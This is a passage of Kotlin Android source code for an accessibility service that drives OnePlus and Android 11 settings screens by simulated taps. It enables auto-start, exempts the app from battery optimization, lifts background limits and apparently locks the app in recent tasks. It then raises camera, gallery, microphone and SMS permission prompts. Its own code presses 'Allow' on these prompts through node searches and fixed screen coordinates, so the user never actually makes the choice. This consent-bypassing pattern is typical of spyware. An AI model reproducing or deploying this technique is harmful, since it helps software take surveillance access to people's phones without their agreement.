                                        performClickSafe(clearNode)
                                    } catch (e: Exception) {
                                        Log.w(TAG, "⚠️ 安全点击失败，尝试坐标点击", e)
                                        val rect = Rect()
                                        clearNode.getBoundsInScreen(rect)
                                        if (!rect.isEmpty) {
                                            simpleCoordinateClick(rect.centerX(), rect.centerY())
                                        } else {
                                            false
                                        }
                                    }
                                    
                                    if (clickSuccess) {
                                        Log.i(TAG, "✅ 成功点击OnePlus清除按钮")
                                        // ✅ 优化：减少延迟时间
                                        delay(300)
                                        return true
                                    }
                                }
                            } catch (e: Exception) {
                                Log.w(TAG, "⚠️ 处理清除节点失败", e)
                            } finally {
                                try {
                                    clearNode.recycle()
                                } catch (e: Exception) {
                                    // 忽略回收异常
                                }
                            }
                        }
                        
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 查找清除按钮异常", e)
                    } finally {
                        safeRecycleNode(root)
                    }
                }
                
                // ✅ 优化：增加延迟间隔，减少频繁操作
                if (attempt < 1) {
                    delay(delay_page() * 2) // 增加延迟时间
                }
            }

            Log.w(TAG, "⚠️ 未找到OnePlus清除全部按钮，清理可能不支持或UI差异")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清除OnePlus全部近期任务失败", e)
            false
        }
    }

    /**
     * ✅ 获取当前包名
     */
    private fun getCurrentPackageName(): String {
        return try {
            val root = getStableRootInActiveWindow(service)
            root?.packageName?.toString() ?: ""
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取当前包名失败", e)
            ""
        }
    }

    /**
     * ✅ 执行返回导航
     */
    private fun performBackNavigation() {
        try {
            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//            delay(500)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行返回导航失败", e)
        }
    }

    /**
     * ✅ 在子树中查找指定文本的节点
     */
    private fun findNodeByTextInSubtree(node: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        if (node == null) return null
        
        try {
            // 检查当前节点
            if (node.text?.toString()?.contains(text, ignoreCase = true) == true) {
                return node
            }
            
            // 检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findNodeByTextInSubtree(child, text)
                    if (result != null) {
                        return result
                    }
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找节点文本失败", e)
        }
        
        return null
    }

    /**
     * ✅ 安全点击节点
     */
    private fun performClickSafe(node: AccessibilityNodeInfo): Boolean {
        return try {
            if (node.isClickable) {
                node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            } else {
                // 如果节点不可点击，尝试点击父节点
                val parent = node.parent
                if (parent != null && parent.isClickable) {
                    parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                } else {
                    false
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 安全点击节点失败", e)
            false
        }
    }

    /**
     * ✅ 坐标点击节点
     */
    private fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            val bounds = Rect()
            node.getBoundsInScreen(bounds)
            val centerX = bounds.centerX()
            val centerY = bounds.centerY()
            Log.d(TAG, "🖱️ 坐标点击节点: ($centerX, $centerY)")
            simpleCoordinateClick(centerX, centerY)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击节点失败", e)
            false
        }
    }

    /**
     * ✅ 安全回收节点
     */
    private fun safeRecycleNode(node: AccessibilityNodeInfo?) {
        try {
            node?.recycle()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 回收节点失败", e)
        }
    }

    /**
     * ✅ 查找并点击我们的APP名称 - 参考Vivo实现，增加更多按钮检查
     */
    private suspend fun findAndClickOurAppName(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找我们的APP名称")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false
            
            // 获取我们的APP名称
            val pm = context.packageManager
            val appName = try {
                pm.getApplicationLabel(context.applicationInfo).toString()
            } catch (_: Exception) {
                context.packageName
            }
            
            Log.d(TAG, "🔍 查找APP名称: $appName")
            
            // 查找包含APP名称的节点
            val nodes = rootNode.findAccessibilityNodeInfosByText(appName)
            Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配APP名称的节点")
            
            // ✅ 查找APP名称节点并检查兄弟节点的更多按钮
            for ((index, node) in nodes.withIndex()) {
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""
                val isVisible = node.isVisibleToUser
                val isClickable = node.isClickable
                
                Log.d(TAG, "🔍 检查节点[$index]: visible=$isVisible, clickable=$isClickable")
                
                // 找到APP名称节点（无论是否可点击）
                if (isVisible && 
                    (nodeText.equals(appName, true) || nodeDesc.equals(appName, true))) {
                    Log.i(TAG, "✅ 找到APP名称节点: $appName")
                    
                    // ✅ 检查兄弟节点是否有"更多"按钮
                    val parent = node.parent
                    if (parent != null) {
                        Log.d(TAG, "🔍 检查父节点的兄弟节点，查找更多按钮")
                        val moreButtonClicked = checkAndClickMoreButton(parent)
                        if (moreButtonClicked) {
                            Log.i(TAG, "✅ 成功点击更多按钮")
                            delay(500)
                            return true
                        }
                    }
                    
                    // 如果没有找到更多按钮，直接返回false，不点击APP名称
                    Log.d(TAG, "❌ 未找到更多按钮，不点击APP名称")
                    return false
                }
            }
            
            Log.w(TAG, "❌ 未找到可点击的APP名称节点")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找APP名称失败", e)
            false
        }
    }

    /**
     * ✅ 检查并点击更多按钮 - 优化版，减少卡顿
     */
    private suspend fun checkAndClickMoreButton(parent: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔍 开始检查兄弟节点中的更多按钮")
            
            // 获取我们的APP名称
            val pm = context.packageManager
            val appName = try {
                pm.getApplicationLabel(context.applicationInfo).toString()
            } catch (_: Exception) {
                context.packageName
            }
            
            // ✅ 优化：减少更多按钮文本，只保留最常用的
            val moreTexts = listOf("更多", "More", "⋮", "⋯")
            
            // ✅ 优化：批量查找，减少API调用
            val allMoreNodes = mutableListOf<AccessibilityNodeInfo>()
            
            for (moreText in moreTexts) {
                try {
                    val moreNodes = parent.findAccessibilityNodeInfosByText(moreText)
                    moreNodes.forEach { allMoreNodes.add(it) }
                    Log.d(TAG, "🔍 找到 ${moreNodes.size} 个匹配 '$moreText' 的节点")
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 查找 '$moreText' 失败", e)
                }
            }
            
            Log.d(TAG, "🔍 总共找到 ${allMoreNodes.size} 个更多相关节点")
            
            // ✅ 优化：快速筛选有效节点
            val validMoreNodes = allMoreNodes.filter { node ->
                try {
                    val isVisible = node.isVisibleToUser
                    val isClickable = node.isClickable
                    val hasText = !node.text.isNullOrEmpty() || !node.contentDescription.isNullOrEmpty()
                    isVisible && isClickable && hasText
                } catch (e: Exception) {
                    false
                }
            }
            
            Log.d(TAG, "🔍 筛选出 ${validMoreNodes.size} 个有效更多节点")
            
            // ✅ 优化：简化关联检查，减少复杂的父节点查找
            for (moreNode in validMoreNodes) {
                try {
                    val moreNodeText = moreNode.text?.toString() ?: ""
                    val moreNodeDesc = moreNode.contentDescription?.toString() ?: ""
                    
                    // ✅ 优化：快速匹配，减少字符串比较
                    val isMoreButton = moreTexts.any { moreText ->
                        moreNodeText.equals(moreText, true) || moreNodeDesc.equals(moreText, true)
                    }
                    
                    if (isMoreButton) {
                        Log.i(TAG, "✅ 找到更多按钮: '$moreNodeText' / '$moreNodeDesc'")
                        
                        // ✅ 优化：简化点击逻辑，减少复杂的关联检查
                        val clickSuccess = try {
                            performClickSafe(moreNode)
                        } catch (e: Exception) {
                            Log.w(TAG, "⚠️ 安全点击失败，尝试坐标点击", e)
                            val rect = Rect()
                            moreNode.getBoundsInScreen(rect)
                            if (!rect.isEmpty) {
                                simpleCoordinateClick(rect.centerX(), rect.centerY())
                            } else {
                                false
                            }
                        }
                        
                        if (clickSuccess) {
                            Log.i(TAG, "✅ 成功点击更多按钮")
                            return true
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 处理更多节点失败", e)
                } finally {
                    try {
                        moreNode.recycle()
                    } catch (e: Exception) {
                        // 忽略回收异常
                    }
                }
            }
            
            Log.d(TAG, "❌ 未找到有效的更多按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查更多按钮失败", e)
            false
        }
    }

    /**
     * ✅ 查找并点击锁定按钮 - 参考Vivo实现
     */
    private suspend fun findAndClickLockButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找锁定按钮")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false

            // 锁定按钮可能的文本
            val lockTexts = listOf("锁定", "Lock", "LOCK")
            
            for (lockText in lockTexts) {
                Log.d(TAG, "🔍 尝试查找锁定文本: $lockText")
                
                val nodes = rootNode.findAccessibilityNodeInfosByText(lockText)
                Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配锁定文本的节点")
                
                for (node in nodes) {
                    val nodeText = node.text?.toString() ?: ""
                    val nodeDesc = node.contentDescription?.toString() ?: ""
                    val isVisible = node.isVisibleToUser
                    val isClickable = node.isClickable
                    
                    Log.d(TAG, "🔍 锁定按钮节点检查: text='$nodeText', desc='$nodeDesc', visible=$isVisible, clickable=$isClickable")
                    
                    if (isVisible && (nodeText.equals(lockText, true) || nodeDesc.equals(lockText, true))) {
                        Log.i(TAG, "✅ 找到可见的锁定按钮节点: $lockText")
                        
                        // ✅ 优先尝试直接点击
                        if (isClickable) {
                            val clickSuccess = performClickSafe(node)
                            if (clickSuccess) {
                                Log.i(TAG, "✅ 成功直接点击锁定按钮: $lockText")
                                delay(500) // 等待点击响应
                                return true
                            }
                        }
                        
                        // ✅ 如果不可点击，使用坐标点击
                        Log.d(TAG, "🔧 锁定按钮不可点击，尝试坐标点击")
                        val rect = Rect()
                        node.getBoundsInScreen(rect)
                        
                        if (!rect.isEmpty) {
                            Log.d(TAG, "📍 锁定按钮矩形: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}")
                            val centerX = rect.centerX()
                            val centerY = rect.centerY()
                            Log.d(TAG, "🎯 锁定按钮点击坐标: ($centerX, $centerY)")
                            
                            val coordinateSuccess = simpleCoordinateClick(centerX, centerY)
                            if (coordinateSuccess) {
                                Log.i(TAG, "✅ 成功坐标点击锁定按钮: $lockText")
                                delay(500) // 等待点击响应
                                return true
                            } else {
                                Log.w(TAG, "❌ 坐标点击锁定按钮失败")
                            }
                        } else {
                            Log.w(TAG, "❌ 锁定按钮矩形为空，无法坐标点击")
                        }
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到可点击的锁定按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找锁定按钮失败", e)
            false
        }
    }
    
    // ======================== Android 11 版本专用执行函数 ========================
    
    /**
     * ✅ OnePlus权限管理页面配置 - Android 11版本
     */
    private suspend fun executeOnePlusPermissionPageAndroid11(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始OnePlus权限管理页面配置 (Android 11版本)")
        
        return try {
            // ✅ 检测OnePlus系统版本
            val onePlusOsVersion = getOnePlusSystemProperty(ONEPLUS_OS_VERSION_PROP)
            val onePlusBuildId = getOnePlusSystemProperty(ONEPLUS_BUILD_ID_PROP)
            Log.d(TAG, "🔍 OnePlus系统版本: $onePlusOsVersion, 构建ID: $onePlusBuildId")
            
            // ✅ 尝试直接打开应用信息页面
            if (openAppInfoDirectly()) {
                Log.d(TAG, "✅ 直接打开应用信息页面成功 (Android 11版本)")
                performSegmentedDelay(1000)
            } else {
                Log.w(TAG, "⚠️ 直接打开应用信息页面失败，使用传统流程 (Android 11版本)")
                
                // ✅ Step 1: 打开设置页面
                if (!openSettingsAndroid11()) {
                    Log.e(TAG, "❌ 无法打开设置页面")
                    return false
                }
                
                // ✅ Step 2: 进入应用设置
                if (!navigateToAppsAndroid11()) {
                    Log.e(TAG, "❌ 无法进入应用设置")
                    return false
                }
            }
            
            // ✅ Step 3: 进入自启动权限
            if (!navigateToAutoStartAndroid11()) {
                Log.w(TAG, "⚠️ 无法进入自启动权限页面，尝试其他方式")
            }
            
            // ✅ Step 4: 配置自启动权限
            if (configureAutoStartPermissionsAndroid11()) {
                Log.i(TAG, "✅ 自启动权限配置成功 (Android 11版本)")
                completedRoutes.add("OnePlus权限管理页面")
                return true
            } else {
                Log.w(TAG, "⚠️ 自启动权限配置失败 (Android 11版本)")
                failedRoutes.add("OnePlus权限管理页面")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ OnePlus权限管理页面配置失败 (Android 11版本)", e)
            failedRoutes.add("OnePlus权限管理页面")
            false
        }
    }
    
    /**
     * ✅ 应用详情权限页面配置 - Android 11版本
     */
    private suspend fun executeAppDetailsPermissionsAndroid11(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始应用详情权限页面配置 (Android 11版本)")
        
        return try {

//
//            clearAllRecentTasks()
//            performSegmentedDelay(1000)


            // ✅ 返回到我们的APP，使用弹框方式获取权限
            Log.d(TAG, "🔄 返回到我们的APP")
            val backToAppIntent = context.packageManager.getLaunchIntentForPackage(context.packageName)
            backToAppIntent?.let {
                it.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                context.startActivity(it)
                Log.d(TAG, "✅ 成功返回到我们的APP")
            }
            
            performSegmentedDelay(1000) // Android 11 需要更长的等待时间
            
            // ✅ 直接使用 PermissionGranter 触发运行时权限弹窗
            Log.d(TAG, "🔧 使用PermissionGranter触发运行时权限弹窗：摄像头/相册/麦克风/短信")
            requestRuntimePermissionsViaGranterAndroid11()
            
            Log.i(TAG, "✅ 应用详情权限配置成功 (Android 11版本)")
            completedRoutes.add("应用详情权限页面")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 应用详情权限页面配置失败 (Android 11版本)", e)
            failedRoutes.add("应用详情权限页面")
            false
        }
    }
    
    /**
     * ✅ 电池优化特殊权限配置 - Android 11版本
     */
    private suspend fun executeBatteryOptimizationPermissionsAndroid11(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始电池优化特殊权限配置 (Android 11版本)")
        
        return try {
            // 步骤1: 打开设置
            if (!openSettingsAndroid11()) {
                Log.w(TAG, "⚠️ 无法打开设置 (Android 11版本)")
                failedRoutes.add("打开设置")
                return false
            }
            
            performSegmentedDelay(1000)
            
            // 步骤2: 查找并点击"电池"
            if (!findAndClickBatteryAndroid11()) {
                Log.w(TAG, "⚠️ 无法找到并点击电池选项 (Android 11版本)")
                failedRoutes.add("查找电池选项")
                return false
            }
            
            performSegmentedDelay(1000)
            
            // 步骤3: 查找并点击"电池优化"
            if (!findAndClickBatteryOptimizationAndroid11()) {
                Log.w(TAG, "⚠️ 无法找到并点击电池优化选项 (Android 11版本)")
                failedRoutes.add("查找电池优化选项")
                return false
            }
            
            performSegmentedDelay(500)
            
            // 步骤4: 查找我们的APP并点击
            if (!findAndClickOurAppAndroid11()) {
                Log.w(TAG, "⚠️ 无法找到我们的APP (Android 11版本)")
                failedRoutes.add("查找我们的APP")
                return false
            }
            
            performSegmentedDelay(500)
            
            // 步骤5: 查找并点击"不优化"
            if (!findAndClickNotOptimizeAndroid11()) {
                Log.w(TAG, "⚠️ 无法找到并点击不优化选项 (Android 11版本)")
                failedRoutes.add("查找不优化选项")
                return false
            }
            
            Log.i(TAG, "✅ 电池优化特殊权限配置成功 (Android 11版本)")
            completedRoutes.add("电池优化特殊权限")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 电池优化特殊权限配置失败 (Android 11版本)", e)
            failedRoutes.add("电池优化特殊权限")
            false
        }
    }
    
    /**
     * ✅ 后台应用限制权限配置 - Android 11版本
     */
    private suspend fun executeBackgroundAppLimitsAndroid11(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始后台应用限制权限配置 (Android 11版本)")
        
        return try {
            // ✅ 打开后台应用限制设置
            if (!openBackgroundAppLimitsAndroid11()) {
                Log.w(TAG, "⚠️ 无法打开后台应用限制设置 (Android 11版本)")
                return false
            }
            
            // ✅ 配置后台应用限制
            if (configureBackgroundAppLimitsAndroid11()) {
                Log.i(TAG, "✅ 后台应用限制权限配置成功 (Android 11版本)")
                completedRoutes.add("后台应用限制权限")
                true
            } else {
                Log.w(TAG, "⚠️ 后台应用限制权限配置失败 (Android 11版本)")
                failedRoutes.add("后台应用限制权限")
                false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台应用限制权限配置失败 (Android 11版本)", e)
            failedRoutes.add("后台应用限制权限")
            false
        }
    }
    
    // ======================== Android 11 版本专用辅助方法 ========================
    
    /**
     * ✅ 打开设置页面 - Android 11版本
     */
    private suspend fun openSettingsAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 打开设置页面 (Android 11版本)")
            val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
            settingsIntent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
            context.startActivity(settingsIntent)
            performSegmentedDelay(2000)
            
            // ✅ 检查是否在设置首页
            if (!checkAndNavigateToSettingsHomepage()) {
                Log.w(TAG, "⚠️ 无法导航到设置首页")
                return false
            }
            
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开设置页面失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 导航到应用设置 - Android 11版本
     */
    private suspend fun navigateToAppsAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 导航到应用设置 (Android 11版本)")
            
            // 使用反编译代码策略查找应用相关文本
            val appTexts = listOf(
                "应用", "应用管理", "Apps", "Application Manager",
                "应用和通知", "Apps and Notifications", "应用设置", "App Settings"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找应用设置")
                
                for (appText in appTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $appText")
                    val appNode = findTextByDecompiledCode(appText)
                    if (appNode != null) {
                        Log.d(TAG, "✅ 找到应用设置: $appText")
                        if (executeClickByDecompiledCode(appNode)) {
                            Log.d(TAG, "✅ 成功点击应用设置")
                            performSegmentedDelay(1500) // 等待页面加载
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到应用设置，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到应用设置入口 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到应用设置失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 导航到自启动权限 - Android 11版本
     */
    private suspend fun navigateToAutoStartAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 导航到自启动权限 (Android 11版本)")
            
            // 使用反编译代码策略查找自启动相关文本
            val autoStartTexts = listOf(
                "自启动", "自启动管理", "Auto Start", "Auto-start",
                "自启动权限", "Auto Start Permission", "启动管理", "Start Management",
                "后台自启动", "Background Auto Start", "应用自启动", "App Auto Start"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找自启动权限")
                
                for (autoStartText in autoStartTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $autoStartText")
                    val autoStartNode = findTextByDecompiledCode(autoStartText)
                    if (autoStartNode != null) {
                        Log.d(TAG, "✅ 找到自启动权限: $autoStartText")
                        if (executeClickByDecompiledCode(autoStartNode)) {
                            Log.d(TAG, "✅ 成功点击自启动权限")
                            performSegmentedDelay(1500) // 等待页面加载
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到自启动权限，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到自启动权限入口 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到自启动权限失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置自启动权限 - Android 11版本
     */
    private suspend fun configureAutoStartPermissionsAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 配置自启动权限 (Android 11版本)")
            
            // 查找我们的应用名称
            val appName = context.applicationInfo.loadLabel(context.packageManager).toString()
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找应用: $appName")
                
                val appNode = findTextByDecompiledCode(appName)
                if (appNode != null) {
                    Log.d(TAG, "✅ 找到应用: $appName")
                    
                    // 查找开关并开启
                    val switchNode = findSwitchNodeForApp(appNode)
                    if (switchNode != null) {
                        if (executeClickByDecompiledCode(switchNode)) {
                            Log.d(TAG, "✅ 成功开启自启动权限")
                            performSegmentedDelay(1000) // 等待操作完成
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到应用，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到应用或开关 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置自启动权限失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 打开电池优化设置 - Android 11版本
     */
    private suspend fun openBatteryOptimizationSettingsAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 打开电池优化设置 (Android 11版本)")
            val batteryIntent = Intent(android.provider.Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
            batteryIntent.data = android.net.Uri.parse("package:${context.packageName}")
            batteryIntent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
            context.startActivity(batteryIntent)
            performSegmentedDelay(2000)
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开电池优化设置失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置电池优化 - Android 11版本
     */
    private suspend fun configureBatteryOptimizationAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 配置电池优化 (Android 11版本)")
            
            // 使用反编译代码策略查找允许相关文本
            val allowTexts = listOf(
                "允许", "Allow", "ALLOW", "允许优化", "Allow Optimization",
                "不优化", "Don't Optimize", "DON'T OPTIMIZE", "关闭优化", "Turn Off Optimization"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找允许按钮")
                
                for (allowText in allowTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $allowText")
                    val allowNode = findTextByDecompiledCode(allowText)
                    if (allowNode != null) {
                        Log.d(TAG, "✅ 找到允许按钮: $allowText")
                        if (executeClickByDecompiledCode(allowNode)) {
                            Log.d(TAG, "✅ 成功点击允许按钮")
                            performSegmentedDelay(1000) // 等待操作完成
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到允许按钮，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到允许按钮 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置电池优化失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 打开后台应用限制设置 - Android 11版本
     */
    private suspend fun openBackgroundAppLimitsAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 打开后台应用限制设置 (Android 11版本)")
            val backgroundIntent = Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS)
            backgroundIntent.data = android.net.Uri.parse("package:${context.packageName}")
            backgroundIntent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
            context.startActivity(backgroundIntent)
            performSegmentedDelay(2000)
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开后台应用限制设置失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 配置后台应用限制 - Android 11版本
     */
    private suspend fun configureBackgroundAppLimitsAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 配置后台应用限制 (Android 11版本)")
            
            // 使用反编译代码策略查找后台应用限制相关文本
            val backgroundTexts = listOf(
                "后台应用限制", "Background App Limits", "后台活动", "Background Activity",
                "后台限制", "Background Limits", "应用限制", "App Limits",
                "后台管理", "Background Management", "后台运行", "Background Running"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找后台应用限制")
                
                for (backgroundText in backgroundTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $backgroundText")
                    val backgroundNode = findTextByDecompiledCode(backgroundText)
                    if (backgroundNode != null) {
                        Log.d(TAG, "✅ 找到后台应用限制: $backgroundText")
                        // 查找开关并配置
                        val switchNode = findSwitchNodeForApp(backgroundNode)
                        if (switchNode != null && executeClickByDecompiledCode(switchNode)) {
                            Log.d(TAG, "✅ 成功配置后台应用限制")
                            performSegmentedDelay(1000) // 等待操作完成
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到后台应用限制，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到后台应用限制设置 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 配置后台应用限制失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 使用广播方式请求运行时权限 - Android 11版本专用
     */
    private suspend fun requestRuntimePermissionsViaGranterAndroid11() {
        try {
            Log.d(TAG, "🔧 开始通过广播方式请求运行时权限 (Android 11版本)")

            // 摄像头权限 - Android 11专用处理
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasCameraPermission(context)) {
                    Log.d(TAG, "📷 申请摄像头权限 (Android 11版本)")
                    executeCameraPermissionDirectlyAndroid11()
                } else Log.d(TAG, "📷 摄像头已授权 (Android 11版本)")
            }

            // 相册权限 - Android 11专用处理
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasGalleryPermission(context)) {
                    Log.d(TAG, "🖼️ 申请相册权限 (Android 11版本)")
                    executeGalleryPermissionDirectlyAndroid11()
                } else Log.d(TAG, "🖼️ 相册已授权 (Android 11版本)")
            }

            // 麦克风权限 - Android 11专用处理
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasMicrophonePermission(context)) {
                    Log.d(TAG, "🎤 申请麦克风权限 (Android 11版本)")
                    executeMicrophonePermissionDirectlyAndroid11()
                } else Log.d(TAG, "🎤 麦克风已授权 (Android 11版本)")
            }

            // 短信权限 - Android 11专用处理
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasSMSPermission(context)) {
                    Log.d(TAG, "✉️ 申请短信权限 (Android 11版本)")
                    executeSMSPermissionDirectlyAndroid11()
                } else Log.d(TAG, "✉️ 短信已授权 (Android 11版本)")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 运行时权限申请流程异常 (Android 11版本)", e)
        }
    }
    
    /**
     * ✅ 处理权限弹框 - Android 11版本
     */
    private suspend fun handlePermissionDialogAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔧 处理权限弹框 (Android 11版本)")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false
            
            // 查找"允许"或"Allow"按钮
            val allowTexts = listOf("允许", "Allow", "ALLOW", "始终允许", "Always Allow")
            
            for (allowText in allowTexts) {
                val allowNodes = rootNode.findAccessibilityNodeInfosByText(allowText)
                for (allowNode in allowNodes) {
                    if (allowNode.isVisibleToUser && allowNode.isClickable) {
                        Log.d(TAG, "✅ 找到权限弹框允许按钮: $allowText")
                        if (performClickSafe(allowNode)) {
                            Log.d(TAG, "✅ 成功点击权限弹框允许按钮")
                            performSegmentedDelay(1000)
                            return true
                        }
                    }
                }
            }
            
            Log.d(TAG, "⚠️ 未找到权限弹框允许按钮 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限弹框失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 根据权限类型点击允许按钮 - Android 11版本专用
     */
    private suspend fun clickAllowByTypeAndroid11(type: String): Boolean {
        return try {
            val dm = context.resources.displayMetrics
            val w = dm.widthPixels
            val h = dm.heightPixels
            Log.d(TAG, "📐 屏幕尺寸 (Android 11): ${w}x${h}")
            
            when (type) {
                "CAMERA", "MIC" -> {
                    // Android 11摄像头和麦克风权限的允许按钮位置
                    val candidates = listOf(
                        Pair(0.52f, 0.54f),
                        Pair(0.52f, 0.56f),
                        Pair(0.52f, 0.58f),
                        Pair(0.52f, 0.6f),
                    )
                    
                    var any = false
                    for ((xf, yf) in candidates) {
                        val x = (w * xf).toInt()
                        val y = (h * yf).toInt()
                        Log.d(TAG, "🖱️ ${type} 点击'使用应用时允许'候选 (Android 11): ($x,$y)")
                        val ok = simpleCoordinateClick(x, y)
                        any = any || ok
                        delay(150)
                    }
                    any
